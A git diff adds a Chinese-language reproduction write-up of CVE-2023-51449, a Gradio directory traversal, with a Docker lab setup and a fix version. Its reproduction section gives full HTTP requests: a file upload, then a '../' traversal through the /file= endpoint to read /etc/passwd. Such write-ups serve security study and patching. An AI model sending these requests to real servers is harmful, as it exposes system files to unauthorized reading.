diff --git a/开发语言漏洞/Python Gradio 目录穿越漏洞 CVE-2023-51449.md b/开发语言漏洞/Python Gradio 目录穿越漏洞 CVE-2023-51449.md new file mode 100644 index 0000000..68b0266 --- /dev/null +++ b/开发语言漏洞/Python Gradio 目录穿越漏洞 CVE-2023-51449.md @@ -0,0 +1,71 @@ +# Python Gradio 目录穿越漏洞 CVE-2023-51449 + +## 漏洞描述 + +Gradio 是一个 Python 库,允许用户无需编写前端代码即可为机器学习模型快速构建可视化 Web 界面。 + +在 Gradio 4.11 及更早版本中,如果未启用身份验证,知道文件路径的攻击者可以使用公共 URL 访问运行 Gradio 应用程序的服务器上的任意文件。 + +参考链接: + +- [gradio-app/gradio#6833](https://github.com/gradio-app/gradio/pull/6833) +- https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2 + +## 漏洞影响 + +``` +Gradio < 4.11.0 +``` + +## 环境搭建 + +Vulhub 执行如下命令启动一个由 Gradio 4.10.0 编写的应用: + +``` +docker compose up -d +``` + +环境启动后,默认未开启身份验证。你可以通过 `http://your-ip:7860` 访问该应用。 + +## 漏洞复现 + +首先,使用 upload 接口上传任意文件,获取一个可访问的文件路径。 + +``` +POST /upload HTTP/1.1 +Host: your-ip:7860 +Pragma: no-cache +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6MhLjMxNrDeOYqzr +Accept-Encoding: gzip, deflate +Accept: */* +Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Content-Length: 44 + +------WebKitFormBoundary6MhLjMxNrDeOYqzr-- +Content-Disposition: form-data; name="files";filename="test" +Content-Type: application/octet-stream + +test +------WebKitFormBoundary6MhLjMxNrDeOYqzr-- +``` + +![](images/Python%20Gradio%20目录穿越漏洞%20CVE-2023-51449/image-20250506110008190.png) + +获得可访问的文件路径后,利用 file 接口配合目录穿越,即可读取服务器上的任意文件,例如 `/etc/passwd`: + +``` +GET /file=/tmp/gradio/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/../../../../../../etc/passwd HTTP/1.1 +Host: your-ip:7860 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 +Cache-Control: no-cache +Accept: */* +Accept-Encoding: gzip, deflate +``` + +![](images/Python%20Gradio%20目录穿越漏洞%20CVE-2023-51449/image-20250506110238195.png) + +## 漏洞修复 + +该漏洞在 `gradio==4.11.0` 中被修复。 diff --git a/开发语言漏洞/images/Python Gradio 目录穿越漏洞 CVE-2023-51449/image-20250506110008190.png b/开发语言漏洞/images/Python Gradio 目录穿越漏洞 CVE-2023-51449/image-20250506110008190.png new file mode 100644 index 0000000..fcd3593 Binary files /dev/null and b/开发语言漏洞/images/Python Gradio 目录穿越漏洞 CVE-2023-51449/image-20250506110008190.png differ diff --git a/开发语言漏洞/images/Python Gradio 目录穿越漏洞 CVE-2023-51449/image-20250506110238195.png b/开发语言漏洞/images/Python Gradio 目录穿越漏洞 CVE-2023-51449/image-20250506110238195.png new file mode 100644 index 0000000..cdc6fd4 Binary files /dev/null and b/开发语言漏洞/images/Python Gradio 目录穿越漏洞 CVE-2023-51449/image-20250506110238195.png differ